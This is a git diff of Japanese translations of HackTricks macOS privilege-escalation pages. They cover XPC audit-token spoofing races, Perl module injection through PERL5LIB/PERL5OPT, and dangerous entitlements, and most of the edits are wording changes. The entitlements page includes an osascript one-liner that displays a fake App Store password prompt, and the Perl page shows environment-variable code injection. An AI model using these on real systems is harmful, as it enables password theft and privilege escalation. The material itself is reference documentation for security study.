+* 監査トークンは、接続を受け入れるかどうかを決定するための認可チェックによく使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、追加の接続リクエストとして処理されます。したがって、**接続を受け入れる前のチェックは脆弱ではありません**(これは、`-listener:shouldAcceptNewConnection:`内で監査トークンが安全であることを意味します)。したがって、**特定のアクションを検証するXPC接続を探しています**。
+* XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラが次のメッセージのイベントハンドラを呼び出す前に完了する必要があります。したがって、**XPCイベントハンドラ内では、監査トークンは他の通常の(返信でない!)メッセージによって上書きされることはありません**。
これが悪用される可能性がある2つの異なる方法:
1. Variant1:
-- **Exploit**はサービス**A**とサービス**B**に**接続**します
-- サービス**B**は、ユーザーができない**サービスAの特権機能**を呼び出すことができます
-- サービス**A**は、**`dispatch_async`**内で**`xpc_connection_get_audit_token`**を呼び出す間、**イベントハンドラ内にいない**状態で**監査トークン**を取得します。
-- したがって、**異なる**メッセージが**監査トークンを上書き**する可能性があります。これは、イベントハンドラの外部で非同期にディスパッチされているためです。
-- Exploitは**サービスAに対してSEND権限をサービスBに渡します**。
-- したがって、svc **B**は実際にはサービス**A**に**メッセージを送信**します。
-- **Exploit**は**特権アクションを呼び出そうとします**。RC svc **A**はこの**アクション**の認可を**チェック**しますが、**svc Bが監査トークンを上書き**したため(悪用が特権アクションを呼び出す権限を与えられる)、悪用がアクションを呼び出す権限を得ることができます。
+* **Exploit** がサービス **A** とサービス **B** に **接続**します
+* サービス **B** は、ユーザーができない**特権機能**をサービス **A** で呼び出すことができます
+* サービス **A** は、**`dispatch_async`**内で **`xpc_connection_get_audit_token`** を呼び出す間、**イベントハンドラ**内に**いない**状態で監査トークンを取得します。
+* したがって、**異なる**メッセージが**監査トークンを上書き**できるため、イベントハンドラの外部で非同期にディスパッチされています。
+* Exploit は、**サービス A に対して SEND 権限をサービス B に渡します**。
+* したがって、svc **B** は実際にはサービス **A** に**メッセージを送信**します。
+* **Exploit** は**特権アクションを呼び出そうとします**。RC svc **A** は、**svc B が監査トークンを上書き**したかどうかの認証をチェックします(これにより、悪用が特権アクションを呼び出す権限を与えられます)。
2. Variant 2:
-- サービス**B**は、ユーザーができない**サービスAの特権機能**を呼び出すことができます
-- Exploitは、**サービスA**に接続し、特定の**リプライポート**で**応答を期待するメッセージ**を送信します。
-- Exploitは、**サービスB**に**そのリプライポート**を渡すメッセージを送信します。
-- サービス**Bが応答する**と、**サービスAにメッセージを送信**し、**悪用**は**サービスAに異なるメッセージを送信**し、特権機能に到達しようとし、サービスBからの返信が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
+* サービス **B** は、ユーザーができない**特権機能**をサービス **A** で呼び出すことができます
+* Exploit は、**サービス A** に接続し、特定の**リプライポート**で**応答を期待するメッセージ**を送信します。
+* Exploit は、**サービス B** に**そのリプライポート**を渡すメッセージを送信します。
+* サービス **B が応答する**と、**サービス A にメッセージを送信**し、**悪用**は**サービス A に異なるメッセージを送信**し、特権機能に到達しようとし、サービス B からの返信が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
-## Variant 1: イベントハンドラ外でxpc\_connection\_get\_audit\_tokenを呼び出す
+## Variant 1: イベントハンドラ外で xpc\_connection\_get\_audit\_token を呼び出す
シナリオ:
-- サンドボックスプロファイルと接続を受け入れる前の認可チェックに基づいて、両方に接続できる2つのmachサービス**`A`**と**`B`**。
-- _**A**_は、**`B`**が通過できる特定のアクションの**認可チェック**を持っている必要があります(ただし、アプリはできません)。
-- たとえば、Bにはいくつかの**権限**があるか、**root**として実行されている場合、Aに特権アクションを実行するように要求することができるかもしれません。
-- この認可チェックでは、**`A`**は、例えば`dispatch_async`から`xpc_connection_get_audit_token`を呼び出すことによって、監査トークンを非同期で取得します。
+* 両方に接続できる2つのmachサービス **`A`** と **`B`**(サンドボックスプロファイルと接続を受け入れる前の認可チェックに基づく)。
+* **`A`** は、**`B`** が通過できる特定のアクションの**認可チェック**を持っている必要があります(ただし、アプリはできません)。
+* たとえば、Bにはいくつかの**権限**があるか、**root**として実行されている場合、Aに特権アクションを実行するように要求することができるかもしれません。
+* この認可チェックでは、**`A`** は、例えば `dispatch_async` から `xpc_connection_get_audit_token` を呼び出すことによって、監査トークンを非同期で取得します。
{% hint style="danger" %}
-この場合、攻撃者は**Race Condition**をトリガーし、**`Aにアクションを実行するように要求するexploit**を複数回実行し、**BがAにメッセージを送信**するようにします。RCが**成功する**と、**B**の**監査トークン**が**メモリにコピー**され、**exploit**の**リクエスト**が**Aによって処理**される間に、特権アクションに**アクセス**できるようになります。
+この場合、攻撃者は **`Aにアクションを実行するように要求する` 悪用** をトリガーし、**Bが`A`にメッセージを送信**する間に **競合状態** を引き起こす可能性があります。RCが**成功する**と、**B**の**監査トークン**が**メモリにコピー**され、**悪用**の**要求**が **Aによって処理**される間に、**Bだけが要求できる特権アクションにアクセス**できるようになります。
{% endhint %}
-これは、**`A`**が`smd`として、**`B`**が`diagnosticd`として発生しました。 smbの[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)関数は、新しい特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行されるプロセスが**smd**に連絡すると、他のチェックは実行されません。
+これは、**`A`** が `smd` として、**`B`** が `diagnosticd` として発生しました。 smb の関数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) は、新しい特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行されているプロセスが **smd** に連絡すると、他のチェックは実行されません。
-したがって、サービス**B**は**`diagnosticd`**であり、**root**として実行されるため、プロセスを監視するために使用できます。したがって、監視が開始されると、1秒あたり**複数のメッセージを送信**します。
+したがって、サービス **B** は **`diagnosticd`** であり、**root**として実行されているため、プロセスを監視するために使用できます。したがって、監視が開始されると、1秒あたりに**複数のメッセージを送信**します。
攻撃を実行するには:
-1. 標準のXPCプロトコルを使用して、`smd`という名前のサービスに**接続**を開始します。
-2. `diagnosticd`に二次的な**接続**を形成します。通常の手順とは異なり、新しい2つのmachポートを作成して送信するのではなく、クライアントポートの送信権限は、`smd`接続に関連付けられた**送信権限**の複製で置き換えられます。
-3. その結果、XPCメッセージを`diagnosticd`にディスパッチできますが、`diagnosticd`からの応答は`smd`にリダイレクトされます。`smd`にとっては、ユーザーと`diagnosticd`からのメッセージが同じ接続から発信されているように見えます。
+1. 標準のXPCプロトコルを使用して、`smd` という名前のサービスに **接続** を開始します。
+2. `diagnosticd` に二次的な **接続** を形成します。通常の手順とは異なり、新しい2つのmachポートを作成して送信するのではなく、クライアントポートの送信権限は、`smd` 接続に関連付けられた **送信権限** の複製で置き換えられます。
+3. その結果、XPCメッセージを `diagnosticd` にディスパッチできますが、`diagnosticd` からの応答は `smd` にリダイレクトされます。`smd` にとっては、ユーザーと `diagnosticd` からのメッセージが同じ接続から発信されているように見えます。
![攻撃プロセスを描いた画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. 次のステップでは、`diagnosticd`に選択したプロセス(おそらくユーザー自身のプロセス)の監視を開始するよう指示します。同時に、`smd`にルーチンの1004メッセージの洪水を送信します。ここでの意図は、特権を持つツールをインストールすることです。
@@ -93,12 +93,12 @@ XPC接続がどのように確立されるかわからない場合は、次を
## 変種2: 返信の転送
-XPC(クロスプロセス通信)環境では、イベントハンドラは同時に実行されませんが、返信メッセージの処理には独自の動作があります。具体的には、返信を期待するメッセージを送信するために2つの異なるメソッドが存在します。
+XPC(クロスプロセス通信)環境では、イベントハンドラは同時に実行されませんが、返信メッセージの処理には独自の動作があります。具体的には、返信を期待するメッセージを送信するための2つの異なるメソッドが存在します。
1. **`xpc_connection_send_message_with_reply`**: ここでは、XPCメッセージは指定されたキューで受信および処理されます。
2. **`xpc_connection_send_message_with_reply_sync`**: これに対して、このメソッドでは、XPCメッセージは現在のディスパッチキューで受信および処理されます。
-この違いは重要です。これにより、**返信パケットがXPCイベントハンドラの実行と同時に解析される可能性**が生じます。特に、`_xpc_connection_set_creds`は監査トークンの部分的な上書きを防ぐためにロックを実装していますが、この保護を接続オブジェクト全体には拡張していません。その結果、パケットの解析とそのイベントハンドラの実行の間に監査トークンが置換される脆弱性が生じます。
+この違いは重要です。なぜなら、**返信パケットがXPCイベントハンドラの実行と同時に解析される可能性がある**からです。特筆すべきは、`_xpc_connection_set_creds`が監査トークンの部分的な上書きを防ぐためにロックを実装しているが、この保護を接続オブジェクト全体には拡張していないことです。その結果、パケットの解析とそのイベントハンドラの実行の間に監査トークンが置換される脆弱性が生じます。
この脆弱性を悪用するには、次のセットアップが必要です:
@@ -111,25 +111,25 @@ XPC(クロスプロセス通信)環境では、イベントハンドラは
1. サービス **`A`** が返信を期待するメッセージを送信するのを待ちます。
2. 直接 **`A`** に返信する代わりに、返信ポートを乗っ取り、サービス **`B`** にメッセージを送信します。
-3. その後、禁止されたアクションを含むメッセージが送信され、**`B`** の返信と同時に処理されることが期待されます。
+3. その後、禁止されたアクションを含むメッセージがディスパッチされ、**`B`** からの返信と同時に処理されることが期待されます。
以下は、説明された攻撃シナリオの視覚的表現です:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
-
+
## 発見の問題
* **インスタンスの特定の難しさ**: `xpc_connection_get_audit_token`の使用例を静的および動的に検索することは困難でした。
* **方法論**: `xpc_connection_get_audit_token`関数をフックするためにFridaを使用し、イベントハンドラから発信されない呼び出しをフィルタリングしました。ただし、この方法はフックされたプロセスに限定され、アクティブな使用が必要でした。
* **分析ツール**: IDA/Ghidraなどのツールを使用して到達可能なマッハサービスを調査しましたが、dyld共有キャッシュを含む呼び出しによって複雑化され、時間がかかりました。
-* **スクリプトの制限**: `dispatch_async`ブロックからの`xpc_connection_get_audit_token`への呼び出しを解析する試みは、ブロックの解析とdyld共有キャッシュとの相互作用の複雑さによって妨げられました。
+* **スクリプトの制限**: `dispatch_async`ブロックからの`xpc_connection_get_audit_token`への呼び出しを解析する際の複雑さとdyld共有キャッシュとの相互作用により、スクリプト化された解析の試みが妨げられました。
## 修正
* **報告された問題**: `smd`内で見つかった一般的および特定の問題について、Appleに報告が提出されました。
-* **Appleの対応**: Appleは、`smd`内の問題を解決するために、`xpc_connection_get_audit_token`を`xpc_dictionary_get_audit_token`で置き換えました。
-* **修正の性質**: `xpc_dictionary_get_audit_token`関数は、受信したXPCメッセージに関連付けられたマッハメッセージから監査トークンを直接取得するため、安全と見なされます。ただし、`xpc_connection_get_audit_token`と同様に、これは公開APIの一部ではありません。
+* **Appleの対応**: Appleは、`smd`内の問題を`xpc_connection_get_audit_token`から`xpc_dictionary_get_audit_token`に置き換えることで対処しました。
+* **修正の性質**: `xpc_dictionary_get_audit_token`関数は、受信したXPCメッセージに関連付けられたマッハメッセージから監査トークンを直接取得するため、安全であると見なされます。ただし、これは`xpc_connection_get_audit_token`と同様に公開APIの一部ではありません。
* **より包括的な修正の欠如**: Appleが接続の保存された監査トークンと一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は明確ではありません。特定のシナリオ(たとえば、`setuid`の使用)で正当な監査トークンの変更が可能である可能性があることが要因かもしれません。
* **現在の状況**: 問題はiOS 17およびmacOS 14で依然として存在し、それを特定し理解しようとする人々にとって課題となっています。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
index 11edb983f..3e1a788ff 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
@@ -8,8 +8,8 @@ HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
-- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
+- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
@@ -42,7 +42,7 @@ system('whoami');
```
{% endcode %}
-その後、環境変数を使用します:
+そして、環境変数を使用します:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
@@ -64,13 +64,13 @@ perl -e 'print join("\n", @INC)'
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
-いくつかの返されたフォルダは存在しないが、**`/Library/Perl/5.30`** は**存在**し、**SIP** によって**保護されていない**上に、**SIP によって保護されたフォルダよりも前に位置している**。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高特権のPerlスクリプトがそれを読み込むことができる可能性がある。
+いくつかの返されたフォルダは存在しないが、**`/Library/Perl/5.30`** は**存在**し、**SIP** によって**保護されていない**し、**SIP によって保護されたフォルダよりも前に**ある。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高特権のPerlスクリプトがそれを読み込むことができる。
{% hint style="warning" %}
-ただし、そのフォルダに書き込むには**root権限が必要**であり、現在ではこのような**TCCプロンプト**が表示されます:
+ただし、そのフォルダに書き込むには**root権限が必要**であり、現在ではこの**TCCプロンプト**が表示されます:
{% endhint %}
-
+
たとえば、スクリプトが**`use File::Basename;`**をインポートしている場合、`/Library/Perl/5.30/File/Basename.pm`を作成して任意のコードを実行させることが可能です。
@@ -80,14 +80,14 @@ perl -e 'print join("\n", @INC)'
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちら!
+htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ**
-HackTricksをサポートする他の方法:
+HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
index 202d9f233..91a1069ed 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
@@ -9,7 +9,8 @@ HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks_live)。
+- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks_live)。
+- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
@@ -37,15 +38,15 @@ HackTricksをサポートする他の方法:
### `com.apple.security.cs.debugger`
-デバッグツール権限を持つアプリケーションは、`Get Task Allow`権限が`true`に設定された未署名およびサードパーティアプリケーションの有効なタスクポートを取得するために`task_for_pid()`を呼び出すことができます。ただし、デバッグツール権限があっても、デバッガーは**`Get Task Allow`権限を持たないプロセス**のタスクポートを取得できず、したがってシステム整合性保護によって保護されているプロセスのタスクポートを取得できません。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)を参照してください。
+デバッグツール権限を持つアプリケーションは、`Get Task Allow`権限が`true`に設定された未署名およびサードパーティアプリケーションの有効なタスクポートを取得するために`task_for_pid()`を呼び出すことができます。ただし、デバッグツール権限があっても、デバッガーは**`Get Task Allow`権限を持たないプロセス**のタスクポートを取得できず、したがってシステム整合性保護によって保護されています。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)を参照してください。
### `com.apple.security.cs.disable-library-validation`
-この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロード**することを可能にし、攻撃者が任意のライブラリのロードを悪用してコードをインジェクトすることができます。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)を参照してください。
+この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じTeam IDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロード**することを可能にします。したがって、攻撃者は任意のライブラリのロードを悪用してコードをインジェクトすることができます。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)を参照してください。
### `com.apple.private.security.clear-library-validation`
-この権限は**`com.apple.security.cs.disable-library-validation`**と非常に似ており、**ライブラリの検証を直接無効にする**代わりに、プロセスが**`csops`システムコールを呼び出して無効にする**ことを可能にします。\
+この権限は**`com.apple.security.cs.disable-library-validation`**と非常に似ており、ライブラリの検証を**直接無効にする**のではなく、プロセスが**`csops`システムコールを呼び出して無効にする**ことを可能にします。\
詳細は[こちら](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)を参照してください。
### `com.apple.security.cs.allow-dyld-environment-variables`
@@ -58,7 +59,7 @@ HackTricksをサポートする他の方法:
### **`system.install.apple-software`**および**`system.install.apple-software.standar-user`**
-これらの権限は、ユーザーに許可を求めることなく**ソフトウェアをインストール**することを可能にし、**特権昇格**に役立ちます。
+これらの権限は、ユーザーに許可を求めることなく**ソフトウェアをインストール**することを可能にします。これは**特権昇格**に役立ちます。
### `com.apple.private.security.kext-management`
@@ -78,15 +79,15 @@ TODO: これが何を許可するかわかりません
### `com.apple.private.apfs.revert-to-snapshot`
-TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために**これを使用できる可能性があると記載されています。わかる場合はPRを送信してください!
+TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **によると、これは**再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があります。詳細がわかる場合は、PRを送信してください!
### `com.apple.private.apfs.create-sealed-snapshot`
-TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために**これを使用できる可能性があると記載されています。わかる場合はPRを送信してください!
+TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **によると、これは**再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があります。詳細がわかる場合は、PRを送信してください!
### `keychain-access-groups`
-この権限リストは、アプリケーションがアクセスできる**キーチェーン**グループを示しています:
+この権限は、アプリケーションがアクセスできる**キーチェーン**グループのリストです:
```xml
keychain-access-groups
@@ -103,9 +104,9 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
### **`kTCCServiceAppleEvents`**
-アプリが**タスクの自動化**に一般的に使用される他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
+アプリケーションが**タスクの自動化**に一般的に使用される他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
-ユーザーにパスワードを求めさせるようにすることもできます:
+ユーザーにパスワードを求めさせるなど、それらの他のアプリに付与された権限を悪用することができます。
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
@@ -119,19 +120,19 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### **`kTCCServiceSystemPolicySysAdminFiles`**
-ユーザーの`NFSHomeDirectory`属性を**変更**することを許可し、ホームフォルダのパスを変更してTCCを**バイパス**することができます。
+ユーザーの`NFSHomeDirectory`属性を変更し、ホームフォルダのパスを変更することができ、それにより**TCCをバイパス**することができます。
### **`kTCCServiceSystemPolicyAppBundles`**
-アプリのバンドル内のファイル(app.app内)を変更することを許可しますが、これは**デフォルトで許可されていません**。
+デフォルトでは**許可されていない**アプリ内のファイルを変更することができます。
-このアクセス権を持っているユーザーは、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_ で確認できます。
+このアクセス権を持っているユーザーを確認することができます。_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_.
### `kTCCServiceAccessibility`
-プロセスは**macOSのアクセシビリティ機能を悪用**することができ、たとえばキーストロークを押すことができます。そのため、Finderのようなアプリを制御するアクセスをリクエストし、この権限でダイアログを承認することができます。
+プロセスは**macOSのアクセシビリティ機能を悪用**することができます。つまり、例えばキーストロークを押すことができます。そのため、Finderのようなアプリを制御するアクセスをリクエストし、この権限でダイアログを承認することができます。
## Medium
@@ -141,7 +142,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### `com.apple.security.cs.allow-unsigned-executable-memory`
-この権限により、Cコードを**オーバーライドまたはパッチ**することができ、長期間非推奨となっている**`NSCreateObjectFileImageFromMemory`**(基本的に安全ではない)を使用したり、**DVDPlayback**フレームワークを使用したりできます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)を参照してください。
+この権限により、Cコードを**オーバーライドまたはパッチ**することができ、長期間非推奨となった**`NSCreateObjectFileImageFromMemory`**(基本的に安全ではない)を使用したり、**DVDPlayback**フレームワークを使用したりすることができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)を参照してください。
{% hint style="danger" %}
この権限を含めると、アプリがメモリの安全でないコード言語に一般的な脆弱性にさらされる可能性があります。この例外がアプリに必要かどうかを慎重に検討してください。
@@ -149,10 +150,10 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### `com.apple.security.cs.disable-executable-page-protection`
-この権限により、ディスク上の自身の実行可能ファイルのセクションを**強制的に終了**することができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)を参照してください。
+この権限により、ディスク上の自身の実行可能ファイルのセクションを**強制的に変更**することができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)を参照してください。
{% hint style="danger" %}
-実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を削除し、攻撃者がアプリの実行コードを検出されずに書き換えることが可能になります。可能であれば、より狭い権限を選択してください。
+実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を削除し、攻撃者がアプリの実行可能コードを検出されずに書き換えることが可能になります。可能であれば、より狭い権限を選択してください。
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@@ -161,11 +162,11 @@ TODO
### `com.apple.private.nullfs_allow`
-この権限により、通常は禁止されているnullfsファイルシステムをマウントすることができます。ツール: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
+この権限により、デフォルトでは禁止されているnullfsファイルシステムをマウントすることができます。ツール: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
### `kTCCServiceAll`
-このブログ投稿によると、このTCC権限は通常、以下の形式で見つかります:
+このブログ投稿によると、このTCC権限は通常、以下の形式で見つかります。
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
@@ -176,14 +177,14 @@ TODO
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
+htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ!
他のHackTricksのサポート方法:
-* **会社をHackTricksで宣伝したい**か、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+* **会社をHackTricksで宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
-* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
index 5a2f918fe..2abb3ad59 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
@@ -4,29 +4,29 @@
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
-HackTricksをサポートする他の方法:
+HackTricks をサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
-- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
+- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
## **基本情報**
